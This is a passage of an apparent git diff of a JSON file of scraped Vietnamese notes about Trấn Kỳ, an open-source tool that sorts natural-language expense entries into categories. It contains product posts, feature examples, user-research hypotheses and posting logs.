cầu của người dùng và sản phẩm dành cho họ\r\n| Nhu cầu | Sản phẩm |\r\n| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\r\n| Phân loại các câu tiếng Việt một cách tự động mà không mất đi [[Việc trung tâm hoá việc lưu trữ dữ liệu trên máy chủ sẽ lấy đi autonomy và agency của người dùng cuối\\|sự tự trị dữ liệu (data autonomy)]] | [Trấn Kỳ](https://lậptrình.quảcầu.cc/%F0%9F%91%8Ftr%E1%BA%A5n%20k%E1%BB%B3/?utm_source=CW+Obsidian%2C+qu%E1%BA%A3n+l%C3%BD+d%E1%BB%B1+%C3%A1n+v%C3%A0+c%C3%B4ng+c%E1%BB%A5+ngh%C4%A9+%C2%BB+L%E1%BB%9Di+m%E1%BB%9Di+tham+gia+startup+c%E1%BB%A7a+c%E1%BB%99ng+%C4%91%E1%BB%93ng&utm_medium=vault&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3&utm_content=ph%E1%BA%A7n+%C4%91%E1%BB%91i+t%C6%B0%E1%BB%A3ng+th%E1%BB%A5+h%C6%B0%E1%BB%9Fng) (Sản phẩm chính) |\r\n| Cách tổ chức dữ liệu cho việc quản lý dự án, phát triển sản phẩm | [[📐 Dự án/Trấn Kỳ/4 Thành phẩm/Kế hoạch/Kế hoạch\\|Kế hoạch]], [[Tổ chức nhỏ hoặc người cần kỷ luật tài chính]], [[Truyền thông]] |\r\n| Học cách sử dụng công cụ và tư duy lập trình cho nhu cầu cá nhân hoặc nghiên cứu | [[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]] |\r\n| Xây dựng PKM, ERP, giàn giáo nhận thức cho mình | [[🌟 Mở đầu\\|C Obsidian, quản lý dự án và công cụ nghĩ]] |\r\n| Tìm người giúp mình xây dựng hệ thống quản lý (VD: cài đặt Trấn Kỳ) | Mạng kết nối nhu cầu |\r\n| Thử nghiệm các mô hình hoạt động cộng đồng | [[Lời mời xây dựng một startup để làm những việc một người bạn sẽ làm\\|Một startup làm những việc một người bạn sẽ làm]] |\r\n\r\nBài chi tiết: [[Giả thiết về giá trị của Trấn Kỳ]]{ .md-button .md-button--primary }\r\n# Mô hình hoạt động\r\nNgười cần Trấn Kỳ là những người bị dày vò hằng ngày khi tất cả những giải pháp họ biết tới đều yêu cầu họ phải phân loại ngay lúc nhập dữ liệu. Trong số đó, những người có tiềm năng chi tiền nhất có lẽ là:\r\n- Những người có một số vốn kiểu vài chục triệu để đầu tư kinh doanh, \r\n- Những người làm nghiên cứu hoặc làm dự án xã hội mới được cấp quỹ làm dự án\r\n\r\nĐể hỗ trợ người sử dụng Trấn Kỳ cũng như thu hút sự quan tâm của cộng đồng, [[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]] sẽ được tổ chức. Những người cần có các buổi đó (bao gồm cả những người cần có Trấn Kỳ nhưng không có khả năng chi tiền) sẽ tham gia vào việc tổ chức chúng. Việc này đảm bảo rằng các buổi này sẽ diễn ra vào thời gian họ rảnh với nội dung được cá nhân hoá cho họ và ứng dụng được ngay vào dự án của họ. Những người tham gia các buổi này ngoài việc được đáp ứng các nhu cầu trước mắt sẽ có thêm cơ hội mở rộng mối quan hệ, kiến thức, trải nghiệm và các cơ hội khác.\r\n\r\nBài chi tiết: [[Mô hình kinh doanh Trấn Kỳ#Mô hình hoạt động là gì?|Hỏi đáp về việc bán Trấn Kỳ]]{ .md-button .md-button--primary } [[📐 Dự án/Trấn Kỳ/4 Thành phẩm/Kế hoạch/Kế hoạch|Kế hoạch]]{ .md-button .md-button--primary }\r\n\r\nĐây là những hoạt động mà một người bạn sẽ làm. Startup này chỉ chuyên nghiệp hoá chúng lên để đạt hiệu quả cao nhất mà thôi.\r\n# Số tiền thu được sẽ dùng làm gì?\r\n- Trả lương\r\n- Trả lãi cho nhà đầu tư\r\n- Hỗ trợ Kendy\r\n# Các công việc thường làm\r\n\r\n- [[📐 Dự án/Trấn Kỳ/4 Thành phẩm/Chiến lược/Kế hoạch phát triển Trấn Kỳ|Lên kế hoạch phát triển Trấn Kỳ]]\r\n- [[Truyền thông|Đăng bài truyền thông]]\r\n- [[Tổ chức nhỏ hoặc người cần kỷ luật tài chính|Phỏng vấn người dùng Trấn Kỳ]]\r\n- [[Kế hoạch xây dựng cộng đồng phát triển Trấn Kỳ|Xây dựng cộng đồng phát triển Trấn Kỳ]]\r\n- [[Kế hoạch tổ chức các buổi hướng dẫn sử dụng Trấn Kỳ|Tổ chức các buổi hướng dẫn người dùng sử dụng Trấn Kỳ]]\r\n# Cách thức tham gia\r\nBạn có thể bắt đầu bằng việc điền [khảo sát nhu cầu phân loại tự động và lập trình](https://quảcầu.cc/khao-sat-nhu-cau-phan-loai-tu-dong-va-lap-trinh/?utm_source=CW+%C2%BB+Obsidian%2C+qu%E1%BA%A3n+l%C3%BD+d%E1%BB%B1+%C3%A1n+v%C3%A0+c%C3%B4ng+c%E1%BB%A5+ngh%C4%A9+%C2%BB+L%E1%BB%9Di+m%E1%BB%9Di+x%C3%A2y+d%E1%BB%B1ng+m%E1%BB%99t+startup+%C4%91%E1%BB%83+l%C3%A0m+nh%E1%BB%AFng+vi%E1%BB%87c+m%E1%BB%99t+ng%C6%B0%E1%BB%9Di+b%E1%BA%A1n+s%E1%BA%BD+l%C3%A0m&utm_medium=vault&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3) này để bọn mình hiểu hơn về bạn.\r\n\r\nMời bạn vào Discord của Quả Cầu để thảo luận với mọi người\r\n[Tham gia](https://discord.com/channels/898550123007709204/1163106307495170108/1171076032342806548){ .md-button .md-button--primary }\r\n\r\n\r\n[[06-11]] đăng ở [[Discord QC]] và [[AGB Saigon Plus]] \r\n", + "Toàn bộ nội dung": "- Việc phải có một báo cáo chi tiết là quan trọng không thể bỏ qua\r\n- Việc phải phân loại dữ liệu thủ công lấy đi thời gian để làm những việc ở cấp độ cao hơn như lập kế hoạch, sáng tạo nội dung\r\n- Hiểu được rằng AI không ứng dụng được trong trường hợp này\r\n- Hiểu được rằng mình đang đòi hỏi những thứ mà các phần mềm no code không đáp ứng được\r\n- Sẵn sàng học lập trình nếu có người hướng dẫn, hoặc chấp nhận thuê\r\n\r\n[[📐 Dự án/Trấn Kỳ/4 Thành phẩm/Người dùng/Người dùng cá nhân/Nhu cầu phân loại tự động/Mục tiêu và câu hỏi nghiên cứu người dùng cá nhân cần phân loại tự động]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -4840,15 +4801,15 @@ "id": "4f" }, { - "Tiêu đề": "Phân loại chi tiêu (ngắn)", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Truyền thông/Phân loại chi tiêu (ngắn)", + "Tiêu đề": "Giả thiết về tiếp nhận của người đọc", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/2 Giả thiết/Tiếp nhận người dùng/Giả thiết về tiếp nhận của người đọc", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Bạn có cảm thấy chán nản, mất năng lượng vì phải tốn quá nhiều thời gian để phân loại chi tiêu cũng như các loại dữ liệu khác không? Nếu bạn là người cần phân loại tất cả các chi tiêu của mình một cách rõ ràng (việc nhắm hờ mỗi tháng chi chừng bao nhiêu tiền là không đủ với bạn), và bạn cần một chương trình:\r\n\r\n- Tích hợp được vào hệ thống vận hành hiện tại của bạn: báo cáo ngân hàng, Google Keep, Google Sheet, Notion, Obsidian, Fibery, Odoo, v.v. \r\n- Cho phép bạn khai báo dữ liệu theo thói quen và cách phân loại của chính mình\r\n- Tự động phân loại, gắn nhãn thông tin chứ không bắt bạn phải tự xử lý\r\n- Không giam dữ liệu của bạn tại chương trình \r\n- Không có bất cứ quảng cáo mời mọc hoặc theo dõi dữ liệu nào\r\n- Dùng được trên điện thoại khi không có mạng\r\n\r\nThì chương trình này dành cho bạn.\r\n\r\n👉 Tìm hiểu thêm: [https://quacau.space/fn1a](https://quacau.space/fn1a)\r\n\r\n---\r\nF+G+%C2%BB+Project+Community\r\n\r\n(Đây là một sản phẩm em làm để giúp đỡ một người bạn. Nay nó đã làm xong và em nghĩ nó sẽ giúp ích thêm cho mọi người. Chi tiết xem thêm ở bài: [Lời mời xây dựng một startup để làm những việc một người bạn sẽ làm](https://obsidian.quảcầu.cc/%F0%9F%93%90%20d%E1%BB%B1%20%C3%A1n/tr%E1%BA%A5n%20k%E1%BB%B3/9%20blog/l%E1%BB%9Di%20m%E1%BB%9Di%20x%C3%A2y%20d%E1%BB%B1ng%20m%E1%BB%99t%20startup%20%C4%91%E1%BB%83%20l%C3%A0m%20nh%E1%BB%AFng%20vi%E1%BB%87c%20m%E1%BB%99t%20ng%C6%B0%E1%BB%9Di%20b%E1%BA%A1n%20s%E1%BA%BD%20l%C3%A0m/?utm_source=F+G+%C2%BB+Project+Community+%C2%BB+Gi%E1%BB%9Bi+thi%E1%BB%87u+Tr%E1%BA%A5n+K%E1%BB%B3&utm_medium=social&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3))\r\n\r\n(Cái này thì chỉ là giới thiệu sản phẩm bình thường thôi, nhưng cái mô hình hoạt động đằng sau của nó dựa trên ý tưởng về khối dữ liệu (datacube), chiều và tensor. Thường mọi người chỉ nghe đến những khái niệm này khi làm máy học, nhưng mình nghĩ đỉnh cao nhất của nó là phải xét đến hình học xạ ảnh. Lý thuyết trường hấp dẫn (tên chính thức của thuyết tương đối) cũng dựa trên cái này. Khi nào rảnh mình sẽ viết bài về nó. Ai hứng thú thì có thể đọc trước về [Geometric Deep Learning](https://thegradient.pub/towards-geometric-deep-learning/ \"Towards Geometric Deep Learning\")) \r\n# [Phân loại thu chi bằng tiếng Việt tự nhiên](https://lậptrình.quảcầu.cc/%F0%9F%91%8Ftr%E1%BA%A5n%20k%E1%BB%B3/?utm_source=F+G+%C2%BB+Project+Community&utm_medium=social&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3&utm_content=%C4%91%C4%83ng+l%E1%BA%A7n+1%2C+v%E1%BB%8B+tr%C3%AD+ti%C3%AAu+%C4%91%E1%BB%81%2C+%E1%BA%A3nh+keep2fibery) \r\nThu chi chồng chất nhưng tốn quá nhiều thời gian để phân loại để có được một báo cáo đáng tin? Nay đã có Trấn Kỳ. Nếu bạn là người cần phân loại tất cả các chi tiêu của mình một cách rõ ràng (việc nhắm hờ mỗi tháng chi chừng bao nhiêu tiền là không đủ với bạn), và bạn cần một chương trình:\r\n\r\n- Tích hợp được vào hệ thống vận hành hiện tại của bạn: báo cáo ngân hàng, Google Keep, Google Sheet, Notion, Obsidian, Fibery, Odoo, v.v. \r\n- Cho phép bạn khai báo dữ liệu theo thói quen và cách phân loại của chính mình\r\n- Tự động phân loại, gắn nhãn thông tin chứ không bắt bạn phải tự xử lý\r\n- Không giam dữ liệu của bạn tại chương trình \r\n- Không có bất cứ quảng cáo mời mọc hoặc theo dõi dữ liệu nào\r\n- Dùng được trên điện thoại khi không có mạng\r\n\r\nVí dụ, với câu nhập đầu vào là:\r\n```\r\nthăn bò 30k lườn gà 20k (giảm giá) cho Parid ở coopmart vợ trả \r\n```\r\n\r\nChương trình sẽ tự động phân loại kết quả đầu ra cho bạn:\r\n```\r\n| Tên | Giá trị |\r\n| --------------------------- | ---------------- |\r\n| Món đồ | thăn bò, lườn gà |\r\n| Loại món đồ | Lương thực |\r\n| Phương thức thanh toán | vợ trả |\r\n| Loại phương thức thanh toán | Tiền mặt |\r\n| Nơi mua | CoopMart |\r\n| Loại nơi mua | Siêu thị |\r\n| Người thụ hưởng | Parid |\r\n| Loại người thụ hưởng | Gia đình |\r\n| Số tiền | 50000 |\r\n| Ghi chú | giảm giá |\r\n```\r\n👉 Đọc thêm giới thiệu và hướng dẫn sử dụng tại [Trấn Kỳ — Phân loại thu chi bằng tiếng Việt tự nhiên](https://lậptrình.quảcầu.cc/%F0%9F%91%8Ftr%E1%BA%A5n%20k%E1%BB%B3/?utm_source=F+G+%C2%BB+Project+Community&utm_medium=social&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3&utm_content=%C4%91%C4%83ng+l%E1%BA%A7n+1%2C+v%E1%BB%8B+tr%C3%AD+cu%E1%BB%91i+b%C3%A0i%2C+%E1%BA%A3nh+keep2fibery) \r\n\r\nhttps://www.facebook.com/quacau.sphere/posts/pfbid072iAT8Y3zdAP5L7VGiHkmxjxQfPapaozK8fpr64nQ4uVyaKerhv2j4uqd8KMWipvl\r\n\r\n![[Ξ Thiết lập/Ảnh/Trấn Kỳ/Keep to Fibery.png]]\r\n[[29-10]] [[Launch]]\r\n[[07-11]] [[Dự án xã hội, NPO, nghiên cứu khoa học, nghệ thuật, hội hoạ]] [Page not found | Facebook](https://www.facebook.com/groups/562933844569060/pending_posts/?search=&has_selection=false&is_notif_background=false&post_id=1388363565359413)\r\n[[09-11]] [[Kingdom of Cubes]]\r\n", + "Toàn bộ nội dung": "# Giới thiệu Trấn Kỳ\r\n- Thấy nó giúp tiết kiệm thời gian của mình\r\n# Lấy code\r\n- Thấy việc mình được định giá sản phẩm là thú vị, chưa thấy ai làm\r\n- Thấy việc mình được định giá sản phẩm là thực sự nghĩ cho mình\r\n- Thấy nút \"thú vị\" thú vị đủ để bấm vô tiếp\r\n# [[Lời mời xây dựng một startup để làm những việc một người bạn sẽ làm]]\r\n- Hiểu được ý tưởng\r\n- Thấy ý tưởng này là một thứ có ý nghĩa\r\n- Thấy ý tưởng này kích thích những thử thách, giúp ứng dụng những kỹ năng mình có trong môi trường mới\r\n- Thấy tò mò với những kế hoạch\r\n- Thấy việc tham gia đáp ứng được những nhu cầu lớn trước mắt mình\r\n- Việc chuyển qua website khác không làm họ thấy có vấn đề\r\n- Thấy ý tưởng này là một giải pháp cho những vấn đề tiền không đáp ứng được\r\n\r\n# [[Lý do viết Trấn Kỳ]]\r\n- Hiểu được sự khác biệt giữa Trấn Kỳ với các phần mềm quản lý thu chi cá nhân khác\r\n- Hiểu rằng mình đang đòi hỏi những thứ mà các phần mềm no code không đáp ứng được\r\n- Hiểu được rằng AI không ứng dụng được trong trường hợp này\r\n- Sẵn sàng học lập trình nếu có người hướng dẫn, hoặc chấp nhận thuê\r\n\r\n# [[Mô hình kinh doanh Trấn Kỳ]]\r\n- Thấy rằng đây là một giải pháp cho những vấn đề tiền không đáp ứng được\r\n\r\n# Hướng dẫn sử dụng\r\n- Thực sự muốn hướng dẫn mình học chứ không che dấu gì cả\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -4857,254 +4818,253 @@ "id": "4g" }, { - "Tiêu đề": "Phân loại chi tiêu", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Truyền thông/Phân loại chi tiêu", + "Tiêu đề": "Lợi nhuận mỗi tuần 2tr5", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/3 Thành quả mong muốn/Lợi nhuận mỗi tuần 2tr5", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Phân loại chi tiêu bằng tiếng Việt tự nhiên\r\nBạn có cảm thấy chán nản, mất năng lượng vì phải tốn quá nhiều thời gian để phân loại chi tiêu cũng như các loại dữ liệu khác không? Nếu bạn là người cần phân loại tất cả các chi tiêu của mình một cách rõ ràng (việc nhắm hờ mỗi tháng chi chừng bao nhiêu tiền là không đủ với bạn), và bạn cần một chương trình:\r\n\r\n* Là phần mềm tự do và mã nguồn mở\r\n* Tích hợp được vào hệ thống vận hành hiện tại của bạn: báo cáo ngân hàng, Google Keep, Google Sheet, Notion, Obsidian, Fibery, Odoo, v.v.\r\n* Cho phép bạn khai báo dữ liệu theo thói quen và cách phân loại của chính mình\r\n* Tự động phân loại, gắn nhãn thông tin chứ không bắt bạn phải tự xử lý\r\n* Không giam dữ liệu của bạn tại chương trình\r\n* Không có bất cứ quảng cáo mời mọc hoặc theo dõi dữ liệu nào\r\n* Dùng được trên điện thoại khi không có mạng\r\n\r\nThì Trấn Kỳ là dành cho bạn.\r\n# Tính năng\r\n## Phân loại thông tin\r\n\r\nVí dụ, với câu nhập đầu vào là:\r\n\r\n```\r\nthăn bò 30k lườn gà 20k (giảm giá) cho Parid ở coopmart vợ trả \r\n```\r\n\r\nKết quả đầu ra sẽ là:\r\n```\r\n| Tên | Giá trị |\r\n| --------------------------- | ---------------- |\r\n| Món đồ | thăn bò, lườn gà |\r\n| Loại món đồ | Lương thực |\r\n| Phương thức thanh toán | vợ trả |\r\n| Loại phương thức thanh toán | Tiền mặt |\r\n| Nơi mua | CoopMart |\r\n| Loại nơi mua | Siêu thị |\r\n| Người thụ hưởng | Parid |\r\n| Loại người thụ hưởng | Gia đình |\r\n| Số tiền | 50000 |\r\n| Ghi chú | giảm giá |\r\n```\r\nChương trình có thể tự động bắt được các giá trị trên nhờ vào cấu hình bạn đã thiết lập từ trước. Ở ví dụ này, bạn đã thiết lập như sau:\r\n```\r\n|Từ khoá từ câu nhập...|...thuộc nhãn phân loại...|...thuộc chiều dữ liệu|\r\n| --- | --- | --- |\r\n|thăn bò, lườn gà|Lương thực|Món đồ|\r\n|vợ trả|Tiền mặt|Phương thức thanh toán|\r\n|coopmart|Siêu thị|Nơi mua|\r\n|Parid|Gia đình|Người thụ hưởng|\r\n|20k, 30k|Không thiết lập|Số tiền|\r\n|giảm giá|Không thiết lập|Ghi chú|\r\n```\r\n## Giá trị mặc định\r\n\r\nVí dụ, bạn có thể thiết lập để chương trình tự hiểu là nếu bạn không điền từ khoá gì trong chiều `Phương thức thanh toán` thì mặc định đó là `tiền mặt`.\r\n\r\n## Tiếp nhận từ khoá chưa được khai báo một cách trực tiếp\r\n\r\nSẽ có những lúc bạn muốn một từ khoá nào đó chưa kịp khai báo trong cấu hình xuất ra ở kết quả. Bạn có thể thiết lập các ký tự để chương trình hiểu là dữ liệu đó nên được cho vào mục nào.\r\n\r\nVí dụ, bạn mới gặp `Iris` và muốn tặng `dưa hấu` cho bạn ấy. Bạn chưa kịp khai báo tên của `Iris` vào cấu hình. Bạn có thể thiết lập ký tự `@` dành cho chiều `Người thụ hưởng`. Khi đó, bạn có thể dùng câu nhập:\r\n\r\n```\r\ntặng dưa hấu cho @Iris 50k\r\n```\r\n\r\nLúc này chương trình sẽ tự hiểu `Iris` là `Người thụ hưởng`.\r\n\r\nNếu sau đó không xuất hiện dấu `@` lần nữa thì từ khoá sẽ dừng khi gặp dấu cách đầu tiên. Nếu từ khoá chứa nhiều dấu cách thì bạn thêm một dấu `@` nữa ở ngay cuối. Ví dụ:\r\n\r\n```\r\ntặng dưa hấu cho @chị Iris@ 50k\r\n```\r\n\r\nBạn có thể khai báo ký tự đứng trước khác với ký tự đứng sau. Thường gặp nhất là khi bạn cần có một ghi chú nào đó. Ví dụ:\r\n\r\n```\r\ntặng dưa hấu cho @chị Iris@ 50k (sau đó mới biết chị Iris dị ứng dưa hấu)\r\n```\r\n\r\n## Viết tắt\r\n\r\nVí dụ, bạn muốn viết tắt `as`, `st` cho nhanh, nhưng vẫn muốn kết quả hiện ra đầy đủ là `ăn sáng`, `siêu thị`. Bạn còn có thể dùng viết tắt cho những câu nhập phức tạp.\r\n\r\nVí dụ:\r\n\r\n* `as` → `ăn sáng`\r\n* `st` → `siêu thị`\r\n* `xăng` → `xăng 50k`\r\n* `trọ` → `tiền trọ 3tr chuyển khoản (vay qua nhóm Tình Thân)`\r\n\r\n## Hiểu từ ghép\r\n\r\nVí dụ, nếu lúc thiết lập cấu hình bạn có khai báo ba từ khoá `bún`, `bò`, và `bún bò`, và trong câu nhập có chữ `bún bò` thì chương trình sẽ hiểu đây là một từ chứ không nhận diện nhầm là có hai từ `bún` và `bò`.\r\n\r\n## Một từ khoá có thể thuộc về nhiều nhãn phân loại\r\n\r\nVí dụ, từ khoá `ăn trưa với` vừa có thể thuộc nhãn `Mối quan hệ`, vừa có thể thuộc nhãn `Thực phẩm`\r\n\r\n## Một số ví dụ về việc tích hợp Trấn Kỳ vào hệ thống\r\n### Nhập liệu từ Google Keep\r\nGoogle Keep là một phần mềm ghi chú rất phổ biến với mọi người. Nó:\r\n- Có trên iOS, Android và web\r\n- Mở rất nhanh và có thể mở trong tình trạng không có mạng\r\n- Đồng bộ nhanh chóng trên tất cả các thiết bị\r\n- Hoàn toàn miễn phí\r\n- Cho phép nhiều người cùng chỉnh sửa một ghi chú\r\n- Sử dụng giọng nói\r\n- Nhập số lượng lớn\r\n\r\nViệc có thể nhập liệu từ Google Keep sẽ giúp cho bạn có thể nhập nhanh những khoảng chi tiêu chung với khối lượng lớn vào lúc bạn không có đầu óc để phân loại, phù hợp cho gia đình, nhóm bạn, công ty những lúc chợ búa, du lịch, tổ chức sự kiện, v.v.\r\n\r\nHiện tại đã có sẵn plugin nhập dữ liệu từ Google Keep và tạo bảng phân loại trên Fibery. \r\n\r\n### Nhập liệu từ Discord, Slack\r\nDiscord và Slack là những phần mềm nhắn tin phổ biến cho cộng đồng hoặc tổ chức. Một server sẽ có nhiều kênh (channel) để việc thảo luận được tập trung, không bị lạc chủ đề quá nhiều. Thông thường, các bộ phận trong tổ chức sẽ có một kênh riêng.\r\n\r\nTrong quá trình thảo luận, thỉnh thoảng sẽ có những thông tin cần được phân loại và lưu vào hệ thống quản lý riêng, như quỹ hoặc công việc. Bạn có thể tạo bot để tự động gom các thông tin này ngay tại nơi thảo luận. Ví dụ:\r\n- `$ họp 70k` → Ghi vào trong sổ quỹ rằng 70000 VND đã được chi cho việc họp\r\n- `! sửa bug` → Ghi vào trong bảng tổng hợp công việc rằng cần sửa bug\r\n\r\nNhững thông tin như người nhập, kênh nhập cũng sẽ được ghi lại. Ví dụ, ghi `$ họp 70k` trong kênh Trấn Kỳ thì sẽ hiểu là lý do chi là để họp về Trấn Kỳ. Nhưng cũng với câu nhập đó trong kênh Cảo Thần thì sẽ hiểu là lý do chi là để họp về Cảo Thần.\r\n\r\n# Không chỉ mỗi phân loại thu chi\r\n\r\nThật ra, chương trình này không hẳn nên được đặt tên là \"Phân loại thu chi\", vì bạn còn có thể dùng nó để phân loại nhiều thứ khác. Ví dụ:\r\n\r\n* **Ý tưởng** : `Kĩ thuật viết văn %topic_Writing @tác_giả_a`\r\n* **Mối quan hệ** : `Gặp @ông_A bàn về việc X, có đi ăn ở !nhà_hàng_Y 200k ck vcb`\r\n* **Công việc** : `Công việc A cần giao cho @bạn_B liên hệ với @@đối_tác_C tại !quán_D với chi phí dự kiến 300k ck vcb và nhận output &&item_X`\r\n* **Cảm xúc** : `xem phim:Inception thấy chấn động`\r\n* **Sức khoẻ:** `chạy bộ 100m, hít đất 30 cái`\r\n\r\n# 👉 Link: tranky.deno.dev/cditbavn\r\n\r\nhttps://www.facebook.com/quacau.sphere/posts/pfbid072iAT8Y3zdAP5L7VGiHkmxjxQfPapaozK8fpr64nQ4uVyaKerhv2j4uqd8KMWipvl\r\n\r\n![image|690x460, 100%](https://daynhauhoc.s3.dualstack.ap-southeast-1.amazonaws.com/optimized/3X/3/0/3051a1b98cab382e9bcd3e5bccf81d2e973f3f17_2_1035x690.jpeg) \r\n![image|690x343](https://daynhauhoc.s3.dualstack.ap-southeast-1.amazonaws.com/optimized/3X/9/9/99e14fce9d0bcda573db5aae334ad4e71bd2035f_2_1035x514.jpeg) \r\n![Giao diện khởi động](https://i.imgur.com/rBe2iQ9.png)\r\n\r\n---\r\n[[10-11]] Đăng trên [[Dạy Nhau Học]] \r\n[[10-11]] Đăng trên [[Tự học Data]] \r\n[[29-11]] Đăng trên [[Fintech, tài chính cá nhân]] \r\n[[06-02]] [[SME, startup, khởi nghiệp]] smebf\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-11-12T05:54:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "4h" }, { - "Tiêu đề": "Phân loại câu nhập (ngắn)", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Truyền thông/Phân loại câu nhập (ngắn)", + "Tiêu đề": "Mỗi tháng có lợi nhuận 10tr để trả lãi cho Trí", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/3 Thành quả mong muốn/Mỗi tháng có lợi nhuận 10tr để trả lãi cho Trí", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "F%20G%20%C2%BB%20J2TEAM%20Community%20%C2%BB%20ph%E1%BA%A7n%20m%E1%BB%81m%20qu%E1%BA%A3n%20l%C3%BD%20%C4%91%C6%A1n%20h%C3%A0ng\r\n# [Phân loại câu nhập bằng tiếng Việt tự nhiên](https://lậptrình.quảcầu.cc/%F0%9F%91%8Ftr%E1%BA%A5n%20k%E1%BB%B3/?utm_source=F%20G%20%C2%BB%20J2TEAM%20Community%20%C2%BB%20ph%E1%BA%A7n%20m%E1%BB%81m%20qu%E1%BA%A3n%20l%C3%BD%20%C4%91%C6%A1n%20h%C3%A0ng&utm_medium=chat&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3&utm_content=%C4%91%C4%83ng+l%E1%BA%A7n+1%2C+v%E1%BB%8B+tr%C3%AD+ti%C3%AAu+%C4%91%E1%BB%81%2C+%E1%BA%A3nh+m%C3%A1y+ph%C3%A2n+lo%E1%BA%A1i+ti%E1%BB%81n) \r\nChia sẻ với mọi người một chương trình phân loại câu nhập mình mới viết. Tính năng:\r\n\r\n- Là phần mềm tự do và mã nguồn mở\r\n- Tích hợp được vào hệ thống vận hành hiện tại của bạn: báo cáo ngân hàng, Google Keep, Google Sheet, Notion, Obsidian, Fibery, Odoo, v.v. \r\n- Cho phép bạn khai báo dữ liệu theo thói quen và cách phân loại của chính mình\r\n- Tự động phân loại, gắn nhãn thông tin chứ không bắt bạn phải tự xử lý\r\n- Không giam dữ liệu của bạn tại chương trình \r\n- Không có bất cứ quảng cáo mời mọc hoặc theo dõi dữ liệu nào\r\n- Dùng được trên điện thoại khi không có mạng\r\n\r\nVí dụ, với câu nhập đầu vào là:\r\n```\r\nthăn bò 30k lườn gà 20k (giảm giá) cho Parid ở coopmart vợ trả \r\n```\r\n\r\nChương trình sẽ tự động phân loại kết quả đầu ra cho bạn:\r\n```\r\n| Tên | Giá trị |\r\n| --------------------------- | ---------------- |\r\n| Món đồ | thăn bò, lườn gà |\r\n| Loại món đồ | Lương thực |\r\n| Phương thức thanh toán | vợ trả |\r\n| Loại phương thức thanh toán | Tiền mặt |\r\n| Nơi mua | CoopMart |\r\n| Loại nơi mua | Siêu thị |\r\n| Người thụ hưởng | Parid |\r\n| Loại người thụ hưởng | Gia đình |\r\n| Số tiền | 50000 |\r\n| Ghi chú | giảm giá |\r\n```\r\nĐọc thêm giới thiệu và hướng dẫn sử dụng tại [Trấn Kỳ — Phân loại câu nhập bằng tiếng Việt tự nhiên](https://lậptrình.quảcầu.cc/%F0%9F%91%8Ftr%E1%BA%A5n%20k%E1%BB%B3/?utm_source=F%20G%20%C2%BB%20J2TEAM%20Community%20%C2%BB%20ph%E1%BA%A7n%20m%E1%BB%81m%20qu%E1%BA%A3n%20l%C3%BD%20%C4%91%C6%A1n%20h%C3%A0ng&utm_medium=chat&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3&utm_content=%C4%91%C4%83ng+l%E1%BA%A7n+1%2C+v%E1%BB%8B+tr%C3%AD+cu%E1%BB%91i+b%C3%A0i%2C+%E1%BA%A3nh+m%C3%A1y+ph%C3%A2n+lo%E1%BA%A1i+ti%E1%BB%81n).\r\n\r\nhttps://www.facebook.com/quacau.sphere/posts/pfbid072iAT8Y3zdAP5L7VGiHkmxjxQfPapaozK8fpr64nQ4uVyaKerhv2j4uqd8KMWipvl\r\n\r\n![[Hemi Head_med.png]]\r\n\r\n\r\n---\r\n[[28-10]] Bị từ chối đăng trên [[Sản phẩm, phân tích kinh doanh]]. Lý do: Bài viết không liên quan đến PO, spam, hoặc seeding\r\n[[31-10]] Đăng trên [[📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Dữ liệu/Khoa học dữ liệu]]\r\n[[10-11]] đăng trên [[Symato]] \r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày tạo": "2023-11-23T12:13:00.000Z", "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "4i" }, { - "Tiêu đề": "Phân loại câu nhập", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Truyền thông/Phân loại câu nhập", + "Tiêu đề": "Mỗi tuần có 10 người tham gia phát triển Trấn Kỳ", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/3 Thành quả mong muốn/Mỗi tuần có 10 người tham gia phát triển Trấn Kỳ", "Kho thông tin": 